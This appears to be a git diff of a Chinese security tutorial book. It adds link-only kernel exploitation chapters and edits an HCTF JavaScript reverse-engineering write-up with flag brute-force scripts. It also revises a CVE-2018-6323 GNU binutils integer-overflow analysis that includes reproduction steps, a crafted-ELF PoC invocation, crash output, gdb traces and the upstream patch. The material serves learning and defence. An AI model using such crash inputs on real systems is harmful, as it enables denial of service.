- [1.5.1 C 语言基础](1.5.1_c_basic.md)
- [1.5.2 x86/x86-64 汇编基础](1.5.2_x86&x64.md)

View File

@ -0,0 +1,8 @@
# 3.3.10 Windows 内核漏洞利用
- [参考资料](#参考资料)
## 参考资料
- [HackSys Extreme Vulnerable Driver](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
- [windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)

8
doc/3.3.8_kernel_rop.md Normal file
View File

@ -0,0 +1,8 @@
# 3.3.8 内核 ROP
- [参考资料](#参考资料)
## 参考资料
- [Linux Kernel ROP - Ropping your way to # (Part 1)](https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-1)/)
- [Linux Kernel ROP - Ropping your way to # (Part 2)](https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-2)/)

View File

@ -1,5 +0,0 @@
# 3.3.8 Windows 内核漏洞利用
## 参考资料
- [HackSys Extreme Vulnerable Driver](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)

View File

@ -0,0 +1,7 @@
# 3.3.9 Linux 内核漏洞利用
- [参考资料](#参考资料)
## 参考资料
- [linux-kernel-exploits](https://github.com/SecWiki/linux-kernel-exploits)

View File

@ -7,3 +7,6 @@
- [3.3.5 Linux 堆利用(上)](3.3.5_heap_exploit_1.md)
- [3.3.6 Linux 堆利用(中)](3.3.6_heap_exploit_2.md)
- [3.3.7 Linux 堆利用(下)](3.3.7_heap_exploit_3.md)
- [3.3.8 内核 ROP](3.3.8_kernel_rop.md)
- [3.3.9 Linux 内核漏洞利用](3.3.9_linux_kernel_exploit.md)
- [3.3.10 Windows 内核漏洞利用](3.3.10_windows_kernel_exploit.md)

View File

@ -5,11 +5,9 @@
## 题目解析
题目就不用多说了,很容易发现是 JavaScript 代码审计。
整个文件的变量名/函数名可以看作是混淆了的,分析一下整个文件的结构
整个文件的变量名/函数名可以看作是混淆了的,分析一下整个文件的结构:
```
——
|- _0x180a,关键字的替换数组
@ -23,12 +21,9 @@
首先是重排,这里不需要去深究到底逻辑原理,让引擎代替你去把数组重排好即可。结合程序员计算器和 CyberChef 分析更加方便。
## 解题流程
这样我们可以直接进入 check 函数进行分析。
```
——
|- _0x2e2f8d,又一次进行数组混淆,得到一个新数组
@ -41,13 +36,11 @@
```
以上部分可以看成是准备部分,这一部分的难点在于多次处理了数组,在动态调试时,很多函数如果多次执行就会产生与原答案不同的数组结构,因此,每次执行都需要重新初始化。
```
——
|- _0x76e1e8,以下划线分割输入,从后面分析可以得知 flag 一共有 5 段
|- _0x34f55b,这一段给出了第一个逆向的条件,结合下一句 if 条件。
```
单独来分析,其实最初我看掉了一个括号,结果弄混了符号优先级,导致觉得这个条件没有意义。
这个条件是说,**第一段的最后两个字符的 16 进制和 { 的 16 进制异或后,对第一段的长度求余应该等于 5 **
@ -55,22 +48,18 @@
这里可以先进行如下猜测
第一段,已经有 hctf{ 了,这里正好去最后两位,先猜测第一段一共只有 7 位,这个猜测是后验的,先不细说。
```
——
|- b2c
```
理解这个函数极为重要,通过随机输入进行测试,输出结果有些眼熟,像是 base64 但不对,比对后确定是 base32 编码,知道这个就不用再去多解读它了。同时,这里也有一个 debug 需要删除
```
——
|- e第二个逆向条件
```
这一句是说,**第三段做 base32 编码,取等号前的部分,再进行 16 进制和 0x53a3f32 异或等于 0x4b7c0a73 **
```
计算 0x4b7c0a73^0x53a3f32=0x4E463541
4E463541 => NF5A 16 进制转字符
@ -78,14 +67,12 @@
```
因此flag 暂时如下 hctf{x\_x\_iz\_x\_x}
```
——
|- f第三个逆向条件
```
这一句是说,第四段和第三段一样编码后,和 0x4b7c0a73 异或等于 0x4315332
```
计算 0x4315332^0x4b7c0a73=0x4F4D5941
4F4D5941 => OMYA
@ -93,7 +80,6 @@
```
flag hctf{x\_x\_iz\_s0\_x}
```
——
|- nf*e*第一段的长度(先不管)
@ -104,7 +90,6 @@ flag hctf{x\_x\_iz\_s0\_x}
```
首先是,**分割的两部份长度相等,第一部分和第二部分 16 进制异或等于 0x1613 **,这个条件只能后验,也先不管。
```
——
|- k输入的 ascii 码*第二段的长度
@ -112,7 +97,6 @@ flag hctf{x\_x\_iz\_s0\_x}
```
首先0x2f9b5072 == 798707826
```
798 707 826
正好分成三个已知h是对应 ascii 码*常数,
@ -123,28 +107,24 @@ flag hctf{x\_x\_iz\_s0\_x}
```
所以,第二段一共有 7 个字符,前四个字符为 rev3带入上面的后验条件 0x1613
```
0x726576^0x1613=0x727365
727365 => rse
```
flag hctf{?\_rev3rse\_iz\_s0\_?}
```
——
|- m,第五个逆向条件,第五段的前四位和第一段的长度有关
```
题目的 hint 提示,每一段都有意义,因此我们这里做个爆破,假设第一段的长度在 6-30 之间,我们可以算出 n在用 n 去算第五段前四位。
```
n = f*e*(6-30)
第五段前四位 = n % 0x2f9b5072 + 0x48a05362
```
代码:
```
import binascii
for i in range(6,31):
@ -154,7 +134,6 @@ flag hctf{?\_rev3rse\_iz\_s0\_?}
```
结果:
```
qK┒
h4r
@ -186,9 +165,7 @@ flag hctf{?\_rev3rse\_iz\_s0\_?}
可以看到大多数字符都没有意义,除了 h4r 让人遐想联翩,可惜还是不全,但是结合已经分析出的 flag猜测应该是 h4rd。
flag hctf{??\_rev3rse\_iz\_s0\_h4rd?}
```
——
|- _0x5a6d56,将输入重复指定次数组合
@ -202,21 +179,18 @@ flag hctf{??\_rev3rse\_iz\_s0\_h4rd?}
5. 结合 hint
由以上条件可以推出以下 flag
```
hctf{??_rev3ser_iz_s0_h4rd2?3??3333}
```
先假设 2 和 3 之间没有数字了,这时 7-8 位还未知但是 7-8 位相同,这时的方程
```
而且在这里,由于直接把 0x 去掉,所以 x 的 16 进制一定全为数字
字符拼接 {hex(x)hex(x)} = ascii(x)*13*5
```
爆破代码:
```
```python
import binascii
for i in range(1,128):
@ -226,19 +200,19 @@ flag hctf{??\_rev3rse\_iz\_s0\_h4rd?}
print chr(i)
except:
continue
output e
```
output
```
e
```
验证前面的后验条件可以确定如下 flag
```
hctf{??_rev3ser_iz_s0_h4rd23ee3333}
```
只剩下最前面的两位,为了方便,利用题目提供的 sha256 结果,我就不回溯条件在判断,直接进行碰撞。
```
```python
import hashlib
a = 'hctf{'
@ -258,7 +232,6 @@ flag hctf{??\_rev3rse\_iz\_s0\_h4rd?}
```
output:
```
hctf{j5_rev3rse_iz_s0_h4rd23ee3333}
```

View File

@ -1,4 +1,4 @@
# 7.1.7 [CVE-2018-6323] GNU binutils 2.26.1 Integer Overflow
# 7.1.7 [CVE-2018-6323] GNU binutils 2.29.1 Integer Overflow
- [漏洞描述](#漏洞描述)
- [漏洞复现](#漏洞复现)
@ -6,26 +6,28 @@
- [参考资料](#参考资料)
[下载文件](../src/exploit/7.1.6_dnstracer_2017-9430)
[下载文件](../src/exploit/7.1.7_binutils_2018-6323)
## 漏洞描述
二进制文件描述符BFD也称为libbfd中头文件 `elfcode.h` 中的 `elf_object_p()` 函数binutils-2.29.1 之前)具有无符号整数溢出,溢出的原因是没有使用 `bfd_size_type` 乘法。精心制作的 ELF 文件可能导致拒绝服务攻击。
## 漏洞复现
| |推荐使用的环境 | 备注 |
| --- | --- | --- |
| 操作系统 | Ubuntu 16.04 | 体系结构:64 位 |
| 操作系统 | Ubuntu 16.04 | 体系结构:32 位 |
| 调试器 | gdb-peda| 版本号7.11.1 |
| 漏洞软件 | binutils | 版本号2.26.1 |
| 漏洞软件 | binutils | 版本号2.29.1 |
编译安装 binutils
系统自带的版本是 2.26.1,我们这里编译安装有漏洞的最后一个版本 2.29.1
```
$ wget https://ftp.gnu.org/gnu/binutils/binutils-2.26.1.tar.gz
$ tar zxvf binutils-2.26.1.tar.gz
$ cd binutils-2.26.1/
$ wget https://ftp.gnu.org/gnu/binutils/binutils-2.29.1.tar.gz
$ tar zxvf binutils-2.29.1.tar.gz
$ cd binutils-2.29.1/
$ ./configure --enable-64-bit-bfd
$ make && sudo make install
$ file /usr/local/bin/objdump
/usr/local/bin/objdump: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=72a5ff5705687fd1aa6ee58aff08d57b87694cb4, not stripped
/usr/local/bin/objdump: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c2e0c7f5040cd6798b708cb29cfaeb8c28d8262b, not stripped
```
使用 PoC 如下:
@ -51,49 +53,48 @@ os.system("objdump -x test")
```
$ python poc.py
objdump: test: File truncated
*** Error in `objdump': free(): invalid pointer: 0x09803aa8 ***
*** Error in `objdump': free(): invalid pointer: 0x09b99aa8 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb75ef377]
/lib/i386-linux-gnu/libc.so.6(+0x6d2f7)[0xb75f52f7]
/lib/i386-linux-gnu/libc.so.6(+0x6dc31)[0xb75f5c31]
objdump[0x81421cb]
objdump[0x8091ab0]
objdump[0x809349c]
objdump[0x809400a]
objdump[0x80522aa]
objdump[0x804c17e]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb75a0637]
objdump[0x804c38a]
/lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb7e35377]
/lib/i386-linux-gnu/libc.so.6(+0x6d2f7)[0xb7e3b2f7]
/lib/i386-linux-gnu/libc.so.6(+0x6dc31)[0xb7e3bc31]
objdump[0x814feab]
objdump[0x8096c10]
objdump[0x80985fc]
objdump[0x8099257]
objdump[0x8052791]
objdump[0x804c1af]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7de6637]
objdump[0x804c3ca]
======= Memory map: ========
08048000-0822c000 r-xp 00000000 08:01 270806 /usr/local/bin/objdump
0822c000-0822d000 r--p 001e3000 08:01 270806 /usr/local/bin/objdump
0822d000-08231000 rw-p 001e4000 08:01 270806 /usr/local/bin/objdump
08231000-08237000 rw-p 00000000 00:00 0
09802000-09823000 rw-p 00000000 00:00 0 [heap]
b7200000-b7221000 rw-p 00000000 00:00 0
b7221000-b7300000 ---p 00000000 00:00 0
b7353000-b736f000 r-xp 00000000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
b736f000-b7370000 rw-p 0001b000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
b7387000-b7587000 r--p 00000000 08:01 141924 /usr/lib/locale/locale-archive
b7587000-b7588000 rw-p 00000000 00:00 0
b7588000-b7738000 r-xp 00000000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
b7738000-b773a000 r--p 001af000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
b773a000-b773b000 rw-p 001b1000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
b773b000-b773e000 rw-p 00000000 00:00 0
b773e000-b7741000 r-xp 00000000 08:01 394775 /lib/i386-linux-gnu/libdl-2.23.so
b7741000-b7742000 r--p 00002000 08:01 394775 /lib/i386-linux-gnu/libdl-2.23.so
b7742000-b7743000 rw-p 00003000 08:01 394775 /lib/i386-linux-gnu/libdl-2.23.so
b7751000-b7752000 rw-p 00000000 00:00 0
b7752000-b7759000 r--s 00000000 08:01 139343 /usr/lib/i386-linux-gnu/gconv/gconv-modules.cache
b7759000-b775a000 r--p 00741000 08:01 141924 /usr/lib/locale/locale-archive
b775a000-b775c000 rw-p 00000000 00:00 0
b775c000-b775e000 r--p 00000000 00:00 0 [vvar]
b775e000-b7760000 r-xp 00000000 00:00 0 [vdso]
b7760000-b7782000 r-xp 00000000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
b7782000-b7783000 rw-p 00000000 00:00 0
b7783000-b7784000 r--p 00022000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
b7784000-b7785000 rw-p 00023000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
bf85b000-bf87c000 rw-p 00000000 00:00 0 [stack]
08048000-08245000 r-xp 00000000 08:01 265097 /usr/local/bin/objdump
08245000-08246000 r--p 001fc000 08:01 265097 /usr/local/bin/objdump
08246000-0824b000 rw-p 001fd000 08:01 265097 /usr/local/bin/objdump
0824b000-08250000 rw-p 00000000 00:00 0
09b98000-09bb9000 rw-p 00000000 00:00 0 [heap]
b7a00000-b7a21000 rw-p 00000000 00:00 0
b7a21000-b7b00000 ---p 00000000 00:00 0
b7b99000-b7bb5000 r-xp 00000000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
b7bb5000-b7bb6000 rw-p 0001b000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
b7bcd000-b7dcd000 r--p 00000000 08:01 133406 /usr/lib/locale/locale-archive
b7dcd000-b7dce000 rw-p 00000000 00:00 0
b7dce000-b7f7e000 r-xp 00000000 08:01 395148 /lib/i386-linux-gnu/libc-2.23.so
b7f7e000-b7f80000 r--p 001af000 08:01 395148 /lib/i386-linux-gnu/libc-2.23.so
b7f80000-b7f81000 rw-p 001b1000 08:01 395148 /lib/i386-linux-gnu/libc-2.23.so
b7f81000-b7f84000 rw-p 00000000 00:00 0
b7f84000-b7f87000 r-xp 00000000 08:01 395150 /lib/i386-linux-gnu/libdl-2.23.so
b7f87000-b7f88000 r--p 00002000 08:01 395150 /lib/i386-linux-gnu/libdl-2.23.so
b7f88000-b7f89000 rw-p 00003000 08:01 395150 /lib/i386-linux-gnu/libdl-2.23.so
b7f97000-b7f98000 rw-p 00000000 00:00 0
b7f98000-b7f9f000 r--s 00000000 08:01 149142 /usr/lib/i386-linux-gnu/gconv/gconv-modules.cache
b7f9f000-b7fa0000 r--p 002d4000 08:01 133406 /usr/lib/locale/locale-archive
b7fa0000-b7fa1000 rw-p 00000000 00:00 0
b7fa1000-b7fa4000 r--p 00000000 00:00 0 [vvar]
b7fa4000-b7fa6000 r-xp 00000000 00:00 0 [vdso]
b7fa6000-b7fc9000 r-xp 00000000 08:01 395146 /lib/i386-linux-gnu/ld-2.23.so
b7fc9000-b7fca000 r--p 00022000 08:01 395146 /lib/i386-linux-gnu/ld-2.23.so
b7fca000-b7fcb000 rw-p 00023000 08:01 395146 /lib/i386-linux-gnu/ld-2.23.so
bff3a000-bff5b000 rw-p 00000000 00:00 0 [stack]
Aborted (core dumped)
```
@ -105,6 +106,353 @@ objdump: test: File format not recognized
## 漏洞分析
首先看一下这个引起崩溃的二进制文件,它作为一个可重定位文件,本来不应该有 program headers但这里的 Number of program headers 这一项被修改为一个很大的值,已经超过了程序在内存中的范围:
```
$ file test
test: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
$ readelf -h test | grep program
readelf: Error: Out of memory reading 536870912 program headers
Start of program headers: 0 (bytes into file)
Size of program headers: 0 (bytes)
Number of program headers: 65535 (536870912)
```
objdump 用于显示一个或多个目标文件的各种信息通常用作反汇编器但也能显示文件头符号表重定向等信息。objdump 的执行流程是这样的:
1. 首先检查命令行参数,通过 switch 语句选择要被显示的信息。
2. 剩下的参数被默认为目标文件,它们通过 `display_bfd()` 函数进行排序。
3. 目标文件的文件类型和体系结构通过 `bfd_check_format()` 函数来确定。如果被成功识别,则 `dump_bfd()` 函数被调用。
4. `dump_bfd()` 依次调用单独的函数来显示相应的信息。
回溯栈调用情况:
```
gdb-peda$ r -x test
gdb-peda$ bt
#0 0xb7fd9ce5 in __kernel_vsyscall ()
#1 0xb7e2eea9 in __GI_raise (sig=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54
#2 0xb7e30407 in __GI_abort () at abort.c:89
#3 0xb7e6a37c in __libc_message (do_abort=0x2,
fmt=0xb7f62e54 "*** Error in `%s': %s: 0x%s ***\n")
at ../sysdeps/posix/libc_fatal.c:175
#4 0xb7e702f7 in malloc_printerr (action=<optimized out>,
str=0xb7f5f943 "free(): invalid pointer", ptr=<optimized out>,
ar_ptr=0xb7fb5780 <main_arena>) at malloc.c:5006
#5 0xb7e70c31 in _int_free (av=0xb7fb5780 <main_arena>, p=<optimized out>,
have_lock=0x0) at malloc.c:3867
#6 0x0814feab in objalloc_free (o=0x8250800) at ./objalloc.c:187
#7 0x08096c10 in bfd_hash_table_free (table=0x8250a4c) at hash.c:426
#8 0x080985fc in _bfd_delete_bfd (abfd=abfd@entry=0x8250a08) at opncls.c:125
#9 0x08099257 in bfd_close_all_done (abfd=0x8250a08) at opncls.c:773
#10 0x08052791 in display_file (filename=0xbffff136 "test", target=<optimized out>,
last_file=0x1) at ./objdump.c:3726
#11 0x0804c1af in main (argc=0x3, argv=0xbfffef04) at ./objdump.c:4015
#12 0xb7e1b637 in __libc_start_main (main=0x804ba50 <main>, argc=0x3, argv=0xbfffef04,
init=0x8150fd0 <__libc_csu_init>, fini=0x8151030 <__libc_csu_fini>,
rtld_fini=0xb7fea880 <_dl_fini>, stack_end=0xbfffeefc) at ../csu/libc-start.c:291
#13 0x0804c3ca in _start ()
```
一步一步追踪函数调用:
```c
// binutils/objdump.c
int
main (int argc, char **argv)
{
[...]
while ((c = getopt_long (argc, argv,
"pP:ib:m:M:VvCdDlfFaHhrRtTxsSI:j:wE:zgeGW::",
long_options, (int *) 0))
!= EOF)
{
switch (c)
{
[...]
case 'x':
dump_private_headers = TRUE;
dump_symtab = TRUE;
dump_reloc_info = TRUE;
dump_file_header = TRUE;
dump_ar_hdrs = TRUE;
dump_section_headers = TRUE;
seenflag = TRUE;
break;
[...]
}
}
if (formats_info)
exit_status = display_info ();
else
{
if (optind == argc)
display_file ("a.out", target, TRUE);
else
for (; optind < argc;)
{
display_file (argv[optind], target, optind == argc - 1);
optind++;
}
}
[...]
}
```
```c
// binutils/objdump.c
static void
display_file (char *filename, char *target)
{
bfd *file;
[...]
file = bfd_openr (filename, target);
[...]
display_any_bfd (file, 0);
if (! last_file)
bfd_close (file);
else
bfd_close_all_done (file);
}
```
```c
// binutils/objdump.c
static void
display_any_bfd (bfd *file, int level)
{
/* Decompress sections unless dumping the section contents. */
if (!dump_section_contents)
file->flags |= BFD_DECOMPRESS;
/* If the file is an archive, process all of its elements. */
if (bfd_check_format (file, bfd_archive))
{
[...]
}
else
display_object_bfd (file);
}
```
最关键的部分,读取 program headers 的逻辑如下:
```c
// binutils/objdump.c
/* Read in the program headers. */
if (i_ehdrp->e_phnum == 0)
elf_tdata (abfd)->phdr = NULL;
else
{
Elf_Internal_Phdr *i_phdr;
unsigned int i;
#ifndef BFD64
if (i_ehdrp->e_phnum > ((bfd_size_type) -1) / sizeof (*i_phdr))
goto got_wrong_format_error;
#endif
amt = i_ehdrp->e_phnum * sizeof (*i_phdr); // <-- 整型溢出点
elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);
if (elf_tdata (abfd)->phdr == NULL)
goto got_no_match;
if (bfd_seek (abfd, (file_ptr) i_ehdrp->e_phoff, SEEK_SET) != 0)
goto got_no_match;
i_phdr = elf_tdata (abfd)->phdr;
for (i = 0; i < i_ehdrp->e_phnum; i++, i_phdr++)
{
Elf_External_Phdr x_phdr;
if (bfd_bread (&x_phdr, sizeof x_phdr, abfd) != sizeof x_phdr)
goto got_no_match;
elf_swap_phdr_in (abfd, &x_phdr, i_phdr);
}
}
```
溢出点乘法运算前eax 为我们在二进制文件中伪造的数值 `0x20000000`
```
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x20000000 ('')
EBX: 0x8250a08 --> 0x8250810 ("test")
ECX: 0xd ('\r')
EDX: 0x5f ('_')
ESI: 0x8250ac8 --> 0x464c457f
EDI: 0xd ('\r')
EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386")
ESP: 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815)
EIP: 0x80aeba0 (<bfd_elf32_object_p+1856>: imul eax,eax,0x38)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80aeb90 <bfd_elf32_object_p+1840>: or DWORD PTR [ebx+0x28],0x800
0x80aeb97 <bfd_elf32_object_p+1847>: jmp 0x80ae613 <bfd_elf32_object_p+435>
0x80aeb9c <bfd_elf32_object_p+1852>: lea esi,[esi+eiz*1+0x0]
=> 0x80aeba0 <bfd_elf32_object_p+1856>: imul eax,eax,0x38
0x80aeba3 <bfd_elf32_object_p+1859>: sub esp,0x4
0x80aeba6 <bfd_elf32_object_p+1862>: xor edx,edx
0x80aeba8 <bfd_elf32_object_p+1864>: push edx
0x80aeba9 <bfd_elf32_object_p+1865>: push eax
[------------------------------------stack-------------------------------------]
0000| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815)
0004| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f
0008| 0xbfffec28 --> 0xd ('\r')
0012| 0xbfffec2c --> 0x0
0016| 0xbfffec30 --> 0x8250a0c --> 0x81ca560 --> 0x81c9429 ("elf32-i386")
0020| 0xbfffec34 --> 0x82482a0 --> 0x9 ('\t')
0024| 0xbfffec38 --> 0x8250a08 --> 0x8250810 ("test")
0028| 0xbfffec3c --> 0x81ca560 --> 0x81c9429 ("elf32-i386")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
780 elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);
```
做乘法运算,`0x20000000 * 0x38 = 0x700000000`,产生溢出。截断后高位的 `0x7` 被丢弃, eax 为 `0x00000000`
```
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x8250a08 --> 0x8250810 ("test")
ECX: 0xd ('\r')
EDX: 0x5f ('_')
ESI: 0x8250ac8 --> 0x464c457f
EDI: 0xd ('\r')
EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386")
ESP: 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815)
EIP: 0x80aeba3 (<bfd_elf32_object_p+1859>: sub esp,0x4)
EFLAGS: 0xa07 (CARRY PARITY adjust zero sign trap INTERRUPT direction OVERFLOW)
[-------------------------------------code-------------------------------------]
0x80aeb97 <bfd_elf32_object_p+1847>: jmp 0x80ae613 <bfd_elf32_object_p+435>
0x80aeb9c <bfd_elf32_object_p+1852>: lea esi,[esi+eiz*1+0x0]
0x80aeba0 <bfd_elf32_object_p+1856>: imul eax,eax,0x38
=> 0x80aeba3 <bfd_elf32_object_p+1859>: sub esp,0x4
0x80aeba6 <bfd_elf32_object_p+1862>: xor edx,edx
0x80aeba8 <bfd_elf32_object_p+1864>: push edx
0x80aeba9 <bfd_elf32_object_p+1865>: push eax
0x80aebaa <bfd_elf32_object_p+1866>: push ebx
[------------------------------------stack-------------------------------------]
0000| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815)
0004| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f
0008| 0xbfffec28 --> 0xd ('\r')
0012| 0xbfffec2c --> 0x0
0016| 0xbfffec30 --> 0x8250a0c --> 0x81ca560 --> 0x81c9429 ("elf32-i386")
0020| 0xbfffec34 --> 0x82482a0 --> 0x9 ('\t')
0024| 0xbfffec38 --> 0x8250a08 --> 0x8250810 ("test")
0028| 0xbfffec3c --> 0x81ca560 --> 0x81c9429 ("elf32-i386")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080aeba3 780 elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);
```
于是,在随后的 `bfd_alloc()` 调用时,第二个参数即分配的大小为 0导致了最后拒绝服务攻击的发生
```c
// bfd/opncls.c
void *bfd_alloc (bfd *abfd, bfd_size_type wanted);
```
```
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x8250a08 --> 0x8250810 ("test")
ECX: 0xd ('\r')
EDX: 0x0
ESI: 0x8250ac8 --> 0x464c457f
EDI: 0xd ('\r')
EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386")
ESP: 0xbfffec10 --> 0x8250a08 --> 0x8250810 ("test")
EIP: 0x80aebab (<bfd_elf32_object_p+1867>: call 0x8099540 <bfd_alloc>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80aeba8 <bfd_elf32_object_p+1864>: push edx
0x80aeba9 <bfd_elf32_object_p+1865>: push eax
0x80aebaa <bfd_elf32_object_p+1866>: push ebx
=> 0x80aebab <bfd_elf32_object_p+1867>: call 0x8099540 <bfd_alloc>
0x80aebb0 <bfd_elf32_object_p+1872>: mov DWORD PTR [esi+0x50],eax
0x80aebb3 <bfd_elf32_object_p+1875>: mov eax,DWORD PTR [ebx+0xa0]
0x80aebb9 <bfd_elf32_object_p+1881>: add esp,0x10
0x80aebbc <bfd_elf32_object_p+1884>: mov ecx,DWORD PTR [eax+0x50]
Guessed arguments:
arg[0]: 0x8250a08 --> 0x8250810 ("test")
arg[1]: 0x0
arg[2]: 0x0
[------------------------------------stack-------------------------------------]
0000| 0xbfffec10 --> 0x8250a08 --> 0x8250810 ("test")
0004| 0xbfffec14 --> 0x0
0008| 0xbfffec18 --> 0x0
0012| 0xbfffec1c --> 0x80aea71 (<bfd_elf32_object_p+1553>: mov eax,DWORD PTR [esi+0x28])
0016| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815)
0020| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f
0024| 0xbfffec28 --> 0xd ('\r')
0028| 0xbfffec2c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080aebab 780 elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);
```
#### 补丁
该漏洞在 binutils-2.30 中被修复,补丁将 `i_ehdrp->e_shnum` 转换成 unsigned long 类型的 `bfd_size_type`从而避免整型溢出。BFD 开发文件包含在软件包 `binutils-dev` 中:
```c
// /usr/include/bfd.h
typedef unsigned long bfd_size_type;
```
由于存在回绕,一个无符号整数表达式永远无法求出小于零的值,因此不会产生溢出。
所谓回绕,可以看下面这个例子:
```c
unsigned int ui;
ui = UINT_MAX; // 在 32 位上为 4 294 967 295
ui++;
printf("ui = %u\n", ui); // ui = 0
ui = 0;
ui--;
printf("ui = %u\n", ui); // 在 32 位上ui = 4 294 967 295
```
```diff
$ git show 38e64b0ecc7f4ee64a02514b8d532782ac057fa2 bfd/elfcode.h
commit 38e64b0ecc7f4ee64a02514b8d532782ac057fa2
Author: Alan Modra <amodra@gmail.com>
Date: Thu Jan 25 21:47:41 2018 +1030
PR22746, crash when running 32-bit objdump on corrupted file
Avoid unsigned int overflow by performing bfd_size_type multiplication.
PR 22746
* elfcode.h (elf_object_p): Avoid integer overflow.
diff --git a/bfd/elfcode.h b/bfd/elfcode.h
index 00a9001..ea1388d 100644
--- a/bfd/elfcode.h
+++ b/bfd/elfcode.h
@@ -680,7 +680,7 @@ elf_object_p (bfd *abfd)
if (i_ehdrp->e_shnum > ((bfd_size_type) -1) / sizeof (*i_shdrp))
goto got_wrong_format_error;
#endif
- amt = sizeof (*i_shdrp) * i_ehdrp->e_shnum;
+ amt = sizeof (*i_shdrp) * (bfd_size_type) i_ehdrp->e_shnum;
i_shdrp = (Elf_Internal_Shdr *) bfd_alloc (abfd, amt);
if (!i_shdrp)
goto got_no_match;
@@ -776,7 +776,7 @@ elf_object_p (bfd *abfd)
if (i_ehdrp->e_phnum > ((bfd_size_type) -1) / sizeof (*i_phdr))
goto got_wrong_format_error;
#endif
- amt = i_ehdrp->e_phnum * sizeof (*i_phdr);
+ amt = (bfd_size_type) i_ehdrp->e_phnum * sizeof (*i_phdr);
elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);
if (elf_tdata (abfd)->phdr == NULL)
goto got_no_match;
```
打上补丁之后的 objdump 没有再崩溃:
```
$ objdump -v | head -n 1
GNU objdump (GNU Binutils) 2.30
$ objdump -x test
objdump: test: Memory exhausted
```
## 参考资料
- https://www.cvedetails.com/cve/CVE-2018-6323/
- [GNU binutils 2.26.1 - Integer Overflow (POC)](https://www.exploit-db.com/exploits/44035/)